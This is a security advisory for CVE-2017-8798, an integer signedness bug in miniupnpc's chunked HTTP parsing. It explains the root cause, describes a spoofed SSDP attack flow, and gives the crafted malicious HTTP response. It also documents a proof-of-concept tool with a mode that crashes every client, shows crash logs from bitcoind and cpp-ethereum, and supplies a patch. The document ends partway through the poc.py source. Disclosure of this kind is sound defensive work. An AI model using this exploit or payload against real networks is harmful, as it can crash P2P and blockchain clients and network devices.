VuNote ====== Author: Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798 Version: 0.6 Date: May 1st, 2017 Tag: miniupnpc getHTTPResponse chunked encoding integer signedness error Overview -------- Name: miniupnpc Vendor: Thomas Bernard References: * http://miniupnp.free.fr/ [1] Version: v2.0 [2] Latest Version: v2.0.20170421 [2][3] Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago) Platform(s): cross Technology: c Vuln Classes: CWE-196, CWE-190 Origin: remote Min. Privs.: --- CVE: CVE-2017-8798 Description --------- quote website [1] >UPnP IGD client lightweight library and UPnP IGD daemon >The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd. miniupnp is part of many applications and embedded network devices * P2P File Sharing software - e.g. qBittorrent * Network Device Firmware * Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins Summary ------- *TL;DR - one-click crash miniupnpc based applications on your network* #### Integer signedness error in miniupnpc allows remote attackers to cause a denial of service condition via specially crafted HTTP response An integer signedness error was found in miniupnp's `miniwget` allowing an unauthenticated remote entity typically located on the local network segment to trigger a heap corruption or an access violation in miniupnp's http response parser when processing a specially crafted chunked-encoded response to a request for the xml root description url. To exploit this vulnerability, an attacker only has to provide a chunked-encode HTTP response with a negative chunk length to upnp clients requesting a resource on the attackers webserver. Upnp clients can easily be instructed to request resources on the attackers webserver by answering SSDP discovery request or by issueing SSDP service notifications (low complexity, integral part of the protocol). * remote, unauthenticated, `ACCESS_VIOLATION_READ` and heap corruption * (confirmed) DoS; (unconfirmed) could also lead to RCE under certain circumstances (multi-threaded?) see attached PoC see proposed patch Details ------- The vulnerable component is a HTTP file download method called `miniwget` (precisely `getHTTPResponse`) that fails to properly handle invalid chunked-encoded HTTP responses. The root cause is a bounds check that mistakenly casts an unsigned attacker-provided chunksize to signed int leading to an incorrect decision on the destination heap buffer size when copying data from the server response to an internal buffer. The attacker controls both the size of the internal buffer as well as the number of bytes to copy. In order for this attack to succeed, the number of bytes to copy must be negative. attacker controls: * `int content_length` * `unsigned int chunksize` * `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes) * length of `content_buf` if `bytestocopy` is negative In the end, the attacker controls * `realloc(content_buf, content_length)` * `memcpy(content_buf+x, http_response, chunksize)` client (miniupnpc) server (poc.py) | | | | | SSDP: Discovery - M-SEARCH | 1. | --------------------------------------> | | | | SSDP: Reply - Location Header | 2. | <-------------------------------------- | | | | SCPD: GET (Location Header/xxxx.xml) | 3. | --------------------------------------> | | | | SCPD: HTTP chunked-encoded reply | 4. | <-------------------------------------- | | | 1. application performs SSDP discovery via M-SEARCH (multicast, local network segment) 2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver. 3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py) 4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp #### Source `miniwget.c:236` [4] *Note:* Inline annotations are prefixed with //#! * A) 1. to 3. is the parsing of the chunksize * B) 4. to 5. integer signedness error * C) 6. integer wrapping * D) 7. to 9. destination buffer size * E) 10. heap overwrite with size in bytestocopy ```c /* content */ if(chunked) //#! 1) transfer-encoding: chunked { int i = 0; while(i < n) { if(chunksize == 0) { /* reading chunk size */ if(chunksize_buf_index == 0) { /* skipping any leading CR LF */ if(i= '0' && chunksize_buf[j] <= '9') chunksize = (chunksize << 4) + (chunksize_buf[j] - '0'); else chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10); } chunksize_buf[0] = '\0'; chunksize_buf_index = 0; i++; } else { /* not finished to get chunksize */ continue; } #ifdef DEBUG printf("chunksize = %u (%x)\n", chunksize, chunksize); #endif if(chunksize == 0) { #ifdef DEBUG printf("end of HTTP content - %d %d\n", i, n); /*printf("'%.*s'\n", n-i, buf+i);*/ #endif goto end_of_stream; } } //#! 4) //#! goal: a) bytestocopy becomes negative due to chunksize being negative //#! b) content_length defines destination buffer size //#! c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request //#! memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy) //#! bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1) if((content_buf_used + bytestocopy) > content_buf_len) //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used { char * tmp; if(content_length >= (int)(content_buf_used + bytestocopy)) { //#! 7) content_length is attacker controlled. content_buf_len = content_length; //#! 8) we want content_length to define our dst buffer size (e.g. 9000) } else { //#! if we dont hit this, content_buf_len would likely be ~2k content_buf_len = content_buf_used + bytestocopy; } tmp = realloc(content_buf, content_buf_len); //#! 9) realloc to content_length bytes (e.g. 9000) if(tmp == NULL) { /* memory allocation error */ free(content_buf); free(header_buf); *size = -1; return NULL; } content_buf = tmp; } memcpy(content_buf + content_buf_used, buf + i, bytestocopy); //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer content_buf_used += bytestocopy; //#! (also an out of bounds ready since it has not been checked if buf holds enough bytes) i += bytestocopy; chunksize -= bytestocopy; } } ``` #### Taint Graph basically all `miniwget*` and `UPNP_*` methods. * getHTTPResponse (vulnerable) * miniwget3 * miniwget2 * miniwget * miniwget_getaddr * UPNP_GetIGDFromUrl * UPNP_GetValidIGD * UPnP_selectigd * UPNP_Get* * UPNP_Check* * UPNP_Delete* * UPNP_Update* * UPNP_Add* #### Scenarios The PoC can be configured for three scenarios: ##### 1) SCENARIO_CRASH_LARGE_MEMCPY Similar to 3) attempts to smash the heap but likely fails with an `ACCESS_VIOLATION_READ` when trying to read from an non-accessible memory region. (gdb) up #1 0x000000000040862c in getHTTPResponse ([email protected]=3, [email protected]=0x7fffffffd77c, [email protected]=0x0) at miniwget.c:305 305 memcpy(content_buf + content_buf_used, buf + i, bytestocopy); (gdb) i lo i = 30 buf = "f\r\nBOOM\r\n80000000\r\n", 'A' n = 1954 endofheaders = 94 chunked = 1 content_length = 9041 chunksize = 2147483648 bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\nBOOM\r\n80000000\r\n", 'A' ... header_buf_len = 2048 header_buf_used = content_buf = 0x60f820 "BOOM", 'A' content_buf_len = 9041 //#! <--- dst buffer size content_buf_used = 15 chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\[email protected]\000\000\000\000\000\233\[email protected]\000\000\000\000" chunksize_buf_index = 0 reason_phrase = 0x0 reason_phrase_len = 0 ##### 2) SCENARIO_CRASH_REALLOC_NULLPTR Miniupnp v1.8 was missing an error check for `realloc` which can be used to cause a DoS condition when making `realloc` fail while allocating a large chunk of data. When `realloc` fails - because the requested size of memory cannot be allocated - it returns a `nullptr`. Miniupnp ~1.8 was missing a check for the `nullptr` and tried to `memcpy` bytes from the attackers http response to that `nullptr` which fails with an `ACCESS_VIOLATION`. To achieve this scenario one must provide an arbitrarily large `content_length` (e.g. `0x7fffffff` likely fails on 32 bits) and make `memcpy` attempt to copy a byte to that location. ##### 3) SCENARIO_CRASH_1_BYTE_BUFFER The idea is to create a small heap buffer and overwrite it with a large chunk of data. This can be achieved by making instructing miniupnp to `realloc` `content_buf` to a size of `1 byte` by providing a `content-length` of `1`. To overwrite this 1 byte buffer the attacker provides a negative chunksize e.g. `0x80000000`. Depending on the implementation of `memcpy` and the memory layout `memcpy` will either fail with a `ACCESS_VIOLATION_READ` as we're only providing <= 2048 bytes with the server response and will most certainly hit a non-accessible memory region while copying `0x80000000` bytes or the application crashes because of a heap corruption. Discussion: It could maybe possible for an upnp thread to corrupt the heap, overwriting structures used by another thread to cause code execution even before the application crashes when accessing a non-accesible memory region. Here's an example of `miniupnpc` corrupting the heap when compiled for 32 bit platforms. âº 0x80504de call [email protected] <0x8048a20> dest: 0x805981f ââ 0x0 //#! <--- size 1 - attacker controlled content_buf src: 0xffffb77e ââ 0x41414141 ('AAAA') //#! <--- attacker controlled http response n: 0x80000000 //#! <--- attacker controlled (must be negative) bytestocopy pwndbg> i lo i = 30 buf = "f\r\nBOOM endofheaders = 91 chunked = 1 content_length = 1 chunksize = 2147483648 bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf header_buf = 0x8059008 "HTTP/1.1 200 OK"... header_buf_len = 2048 header_buf_used = content_buf = 0x8059810 "BOOM reason_phrase = 0x0 reason_phrase_len = 0 //#! ### before memcpy pwndbg> hexdump content_buf 100 +0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 00 âBOOâM hexdump content_buf 100 +0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 41 âBOOâM v1.8`. * DoS / potential RCE - providing a correct `content_length` wont cause `realloc` to fail and `memcpy` will go on copying a large block of data to `content_buf`. Potential for RCE in multithreaded environments with threads sharing the heap e.g. main thread doing things while upnp thread overwrites large portions of the heap. may result in random crashes but might allow to corrupt neighboring heap chunks in a way to gain code exec. * DoS - providing `0x7fffffff` to content_length may fail due to `realloc` not being able to allocate >2 GB heap space on certain platforms. If that would succeed, an attacker could try to write `1+x` bytes past the reallocation when providing a chunksize of `0x80000000+x`. However, the attacker is not able to provide http response chunks >2048 bytes due to miniupnp reading responses in chunks of max 2048 therefore rendering a RCE scenario impossible turning it into a DoS condition with due to `ACCESS_VIOLATION_READ`. Proof of Concept ---------------- Prerequisites: * any software that compiles with `miniupnpc` or calls `miniwget.c::miniwget()` - e.g. bitcoind (with -upnp) * `poc.py`, python 2.7, tested on windows and linux (disable firewall or allow inbound tcp:65000, udp:1900) Usage: ```c usage: poc.py [options] example: poc.py --listen :65000 [--havoc | --target [..]] optional arguments: -h, --help show this help message and exit -q, --quiet be quiet [default: False] -l LISTEN, --listen LISTEN local httpserver listen ip:port. Note: 0.0.0.0: is not allowed. This ip is being used in the SSDP response Location header. -u USN, --usn USN Unique Service Name. -t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]] Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients. -z, --havoc Attempt to attack all clients connecting to our http server. Use at your own risk. ``` run PoC * local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip) * only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist) ```python #> poc.py --listen :65000 --target 192.168.2.113 [poc.py - main() ][ INFO] _ _ _____ _____ _____ _____ / |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___ / // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_| |_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___ //github.com/tintinweb [mode ] filter (targeting ['192.168.2.113']) [listen] 192.168.2.104:65000 (local http server listening ip) [usn ] uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice [poc.py - main() ][ DEBUG] spawning webserver: [poc.py - __init__() ][ DEBUG] [SSDP] bind: 0.0.0.0:1900 [poc.py - listen() ][ INFO] [HTTP] bind 192.168.2.104:65000 [poc.py - __init__() ][ DEBUG] [SSDP] add membership: UDP/239.255.255.250 [poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'M-SEARCH' : [poc.py - listen() ][ INFO] [HTTP] waiting for connection [poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'NOTIFY' : [poc.py - listen() ][ DEBUG] [SSDP] listening... [poc.py - listen() ][ INFO] [ ] connection from: ('192.168.2.113', 43810) [poc.py - listen() ][ DEBUG] GET /xxxx.xml HTTP/1.1 Host: 192.168.2.104:65000 Connection: Close User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0 [poc.py - send() ][ DEBUG] HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Length: 9041 Content-Type: text/html f BOOM 80000000 AAAAAAAAAAAAAAAA... //#! Repeated 9k times. 3 bye 0 [poc.py - send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] [poc.py - listen() ][ INFO] waiting for connection ``` #### A) miniupnpc v2.0 ```python [[email protected] miniupnpc]$ gdb --args ./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s ... (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s upnpc : miniupnpc library test client, version 2.0. (c) 2005-2016 Thomas Bernard. Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0 address miniwget : 192.168.2.113 header='Transfer-Encoding', value='chunked' chunked transfer-encoding! header='Content-Length', value='9041' //#! user provided content length (valid) Content-Length: 9041 header='Content-Type', value='text/html' chunksize = 15 (f) chunksize = 2147483648 (80000000) //#! user provided chunk size 0x80000000 Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) up #1 0x000000000040897f in getHTTPResponse ([email protected]=7, [email protected]=0x7fffffffd59c, [email protected]=0x0) at miniwget.c:306 306 memcpy(content_buf + content_buf_used, buf + i, bytestocopy); (gdb) bt #0 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 #1 0x000000000040897f in getHTTPResponse ([email protected]=7, [email protected]=0x7fffffffd59c, [email protected]=0x0) at miniwget.c:306 #2 0x0000000000408d5c in miniwget3 ([email protected]=0x7fffffffd500 "192.168.2.104", port=, path=0x7fffffffe73c "/xxxx.xml", [email protected]=0x7fffffffd59c, [email protected]=0x7fffffffe320 "192.168.2.113", [email protected]=64, [email protected]=0x40b665 "1.1", scope_id=0, [email protected]=0x0) at miniwget.c:468 #3 0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=, port=, host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484 #4 miniwget_getaddr ([email protected]=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", [email protected]=0x7fffffffd59c, [email protected]=0x7fffffffe320 "192.168.2.113", [email protected]=64, [email protected]=0, [email protected]=0x0) at miniwget.c:659 #5 0x00000000004043f1 in UPNP_GetIGDFromUrl ([email protected]=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", [email protected]=0x7fffffffd6a0, [email protected]=0x7fffffffd790, [email protected]=0x7fffffffe320 "192.168.2.113", [email protected]=64) at miniupnpc.c:708 #6 0x0000000000401f69 in main (argc=, argv=0x7fffffffe478) at upnpc.c:690 (gdb) i lo i = 30 buf = "f\r\nBOOM\r\n80000000\r\n", 'A' ... n = 1354 endofheaders = 94 chunked = 1 //#! chunked-encoding mode content_length = 9041 //#! user provided content-length (valid) chunksize = 2147483648 //#! user provided chunk-size (invalid, 0x80000000) bytestocopy = 2147483648 //#! is our chunk-size. used in call to memcpy as the number of bytes to copy. header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\nBOOM\r\n80000000\r\n", 'A' ... header_buf_len = 2048 header_buf_used = 1448 content_buf = 0x610820 "BOOM" content_buf_len = 9041 //#! has been reallocated to content-length (otherwise this would be ~2k) content_buf_used = 15 chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\[email protected]\000\000\000\000\000\005\000\000\000\000\000\000" chunksize_buf_index = 0 reason_phrase = 0x0 reason_phrase_len = 0 ``` #### B) cpp-ethereum v1.3.0 ```python [[email protected] ~]$ eth --version eth version 1.3.0 eth network protocol version: 63 Client database version: 12041 Build: Linux/g++/Interpreter/RelWithDebInfo [[email protected] miniupnpc]$ gdb --args eth -v 9 ... (gdb) r Starting program: /usr/bin/eth -v 9 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". cpp-ethereum, a C++ Ethereum client ... 05:57:56 PM.351|eth Reading /home/... â§ â ¹ 05:57:56 PM.358|eth Id: ##013a7f1fâ¦ [New Thread 0x7fffe6191700 (LWP 9306)] ... 05:57:56 PM.371|eth Opened blockchain DB. Latest: #5203fef2â¦ (rebuild not needed) [New Thread 0x7fffe5990700 (LWP 9307)] ... 05:57:56 PM.374|eth Opened state DB. [New Thread 0x7fffe4e2a700 (LWP 9308)] â§« â 05:57:56 PM.375|eth startedWorking() cpp-ethereum 1.3.0 By cpp-ethereum contributors, (c) 2013-2016. See the README for contributors and credits. Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956) [New Thread 0x7fffd7fff700 (LWP 9309)] [New Thread 0x7fffd77fe700 (LWP 9310)] â ¹ 05:58:00 PM.757|p2p UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fffd7fff700 (LWP 9309)] 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) #0 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 #1 0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16 #2 0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16 #3 0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16 #4 0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so #5 0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set, std::allocator > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so #6 0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so #7 0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so #8 0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so #9 0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6 #10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0 #11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6 ``` #### C) bitcoind 0.13.2 (windows) ```c #> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole Bitcoin version v0.13.2 ... mapBlockIndex.size() = 1 nBestHeight = 0 setKeyPool.size() = 100 mapWallet.size() = 0 mapAddressBook.size() = 1 init message: Loading addresses... torcontrol thread start Loaded 0 addresses from peers.dat 1ms init message: Loading banlist... init message: Starting network threads... upnp thread start init message: Done loading opencon thread start addcon thread start dnsseed thread start msghand thread start net thread start Loading addresses from DNS seeds (could take a while) 132 addresses found from DNS seeds dnsseed thread exit receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1 Pre-allocating up to position 0x100000 in rev00000.dat ... //#! missing symbols - stacktrace not really useful. (5fdc.5d34): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for bitcoind.exe - bitcoind!secp256k1_ecdsa_recover+0x1ea44f: 00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi] 0:016> !analyze -v -f ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: bitcoind!secp256k1_ecdsa_recover+1ea44f 00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi] EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000008db0000 Attempt to read from address 0000000008db0000 CONTEXT: 0000000000000000 -- (.cxr 0x0;r) rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738 rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472 rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa r8=0000000008387c80 r9=0000000094967295 r10=0000000000000000 r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa r14=00000000000005b4 r15=0000000000000556 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 bitcoind!secp256k1_ecdsa_recover+0x1ea44f: 00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi] FAULTING_THREAD: 0000000000005d34 PROCESS_NAME: bitcoind.exe ERROR_CODE: (NTSTATUS) 0xc0000005 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 EXCEPTION_PARAMETER1: 0000000000000000 EXCEPTION_PARAMETER2: 0000000008db0000 READ_ADDRESS: 0000000008db0000 FOLLOWUP_IP: bitcoind!secp256k1_ecdsa_recover+1ea44f 00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi] APPLICATION_VERIFIER_FLAGS: 0 APP: bitcoind.exe ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_PROBABLYEXPLOITABLE DEFAULT_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE LAST_CONTROL_TRANSFER: from 00000000016160f0 to 0000000001615f1f STACK_TEXT: 00000000`08dad3e0 00000000`016160f0 : 00000000`00000754 00000000`00000754 00000000`00000000 00000000`0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f 00000000`08dadcd0 00000000`01616467 : 00000000`00000010 00007ffc`6a207185 00000000`00000000 00000000`00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620 00000000`08dae580 00000000`01612e97 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997 00000000`08dae650 00000000`0124a8fa : 00000000`08239840 00007ffc`a255cfb6 00000000`15040011 00000000`00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7 00000000`08dae740 00000000`0165252a : 00000000`00000000 00000000`08230000 00000000`00000002 00000000`08daf980 : bitcoind+0x7a8fa 00000000`08daf830 00000000`014567c5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a 00000000`08daf940 00007ffc`a05cb2ba : 00000000`081abb90 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5 00000000`08dafb50 00007ffc`a05cb38c : 00007ffc`a0620670 00000000`08237230 00000000`00000000 00000000`00000000 : msvcrt!beginthreadex+0x12a 00000000`08dafb80 00007ffc`a0d28364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msvcrt!endthreadex+0xac 00000000`08dafbb0 00007ffc`a25870d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14 00000000`08dafbe0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 STACK_COMMAND: .cxr 0x0 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: bitcoind!secp256k1_ecdsa_recover+1ea44f FOLLOWUP_NAME: MachineOwner MODULE_NAME: bitcoind IMAGE_NAME: bitcoind.exe FAILURE_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover ``` #### D) bitcoind 0.14.1 (linux) ```python #> src\bitcoind -upnp -printtoconsole pwndbg> bt #0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36 #1 0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #2 0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #3 0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #4 0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #5 0x000055555560ee0b in ThreadMapPort () at net.cpp:1446 #6 0x0000555555622e44 in TraceThread (name=0x555555a81767 "upnp", func=0x55555560ed3a ) at util.h:218 #7 0x0000555555689c4e in boost::_bi::list2, boost::_bi::value >::operator() (this=0x5555561544c0, [email protected]: 0x555555622dc2 (char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313 #8 0x000055555568996a in boost::_bi::bind_t, boost::_bi::value > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20 #9 0x00005555556896eb in boost::detail::thread_data, boost::_bi::value > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117 #10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0 #11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309 #12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 ``` Mitigation / Workaround / Discussion ------------------------------------- * update to miniupnpc-2.0.20170509.tar.gz * disable upnp * or apply the following patch (also see provided patch1.diff, patch2.diff) ```diff --- a/miniupnpc/miniwget.c +++ b/miniupnpc/miniwget.c @@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code) goto end_of_stream; } } - bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); + bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); if((content_buf_used + bytestocopy) > content_buf_len) { char * tmp; - if(content_length >= (int)(content_buf_used + bytestocopy)) { + if((unsigned int)content_length >= (content_buf_used + bytestocopy)) { content_buf_len = content_length; } else { content_buf_len = content_buf_used + bytestocopy; @@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code) { /* not chunked */ if(content_length > 0 - && (int)(content_buf_used + n) > content_length) { + && (content_buf_used + n) > (unsigned int)content_length) { /* skipping additional bytes */ n = content_length - content_buf_used; } if(content_buf_used + n > content_buf_len) { char * tmp; - if(content_length >= (int)(content_buf_used + n)) { + if((unsigned int)content_length >= (content_buf_used + n)) { content_buf_len = content_length; } else { content_buf_len = content_buf_used + n; @@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code) } } /* use the Content-Length header value if available */ - if(content_length > 0 && (int)content_buf_used >= content_length) + if(content_length > 0 && content_buf_used >= (unsigned int)content_length) { #ifdef DEBUG printf("End of HTTP content\n"); ``` Notes ----- * Vendor acknowledgement / Miniupnp Changelog [5] * Thanks to the miniupnp project for providing a fixed version within ~1 week! * This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you! References ---------- [1] http://miniupnp.free.fr/ [2] http://miniupnp.free.fr/files/ [3] https://github.com/miniupnp/miniupnp/tree/master [4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236 [5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz [6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229 Contact ------- https://github.com/tintinweb #!/usr/bin/env python # -*- coding: UTF-8 -*- # Author : ############################################################################### # # FOR DEMONSTRATION PURPOSES ONLY! # ############################################################################### # # gdb --args ./upnpc-static -u http://192.168.2.110:5200/xxxx.xml -d -s <- segfault # import socket import struct import logging import threading __version__ = 0.3 logger = logging.getLogger(__name__) SCENARIO_CRASH_LARGE_MEMCPY = 1 # crash in memcpy with access violation READ (large memcpy) SCENARIO_CRASH_REALLOC_NULLPTR = 2 # miniupnpc <= v1.8 did not catch realloc errors SCENARIO_CRASH_1_BYTE_BUFFER = 3 # crash in memcpy overwriting heap (more likely crashing in read) SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # default class HttpLikeMessage(object): """ Builds and parses HTTP like message structures. """ linebrk = '\r\n' def __init__(self, raw): self.raw = raw self.header = self.request = self.method = self.path = self.protocol = self.body = None self.parse_fuzzy_http(raw) def startswith(self, other): return self.raw.startswith(other) def parse_fuzzy_http(self, data): data = data.replace('\r', '') try: head, self.body = data.split("\n\n", 1) except ValueError: # no body self.body = '' head = data try: head_items = head.strip().split('\n') self.request = head_items.pop(0) self.method, self.path, self.protocol = self.request.split(" ") self.header = {} for k, v in (line.strip().split(':', 1) for line in head_items if head.strip()): self.header[k.strip()] = v.strip() except Exception, e: logger.exception(e) e.msg 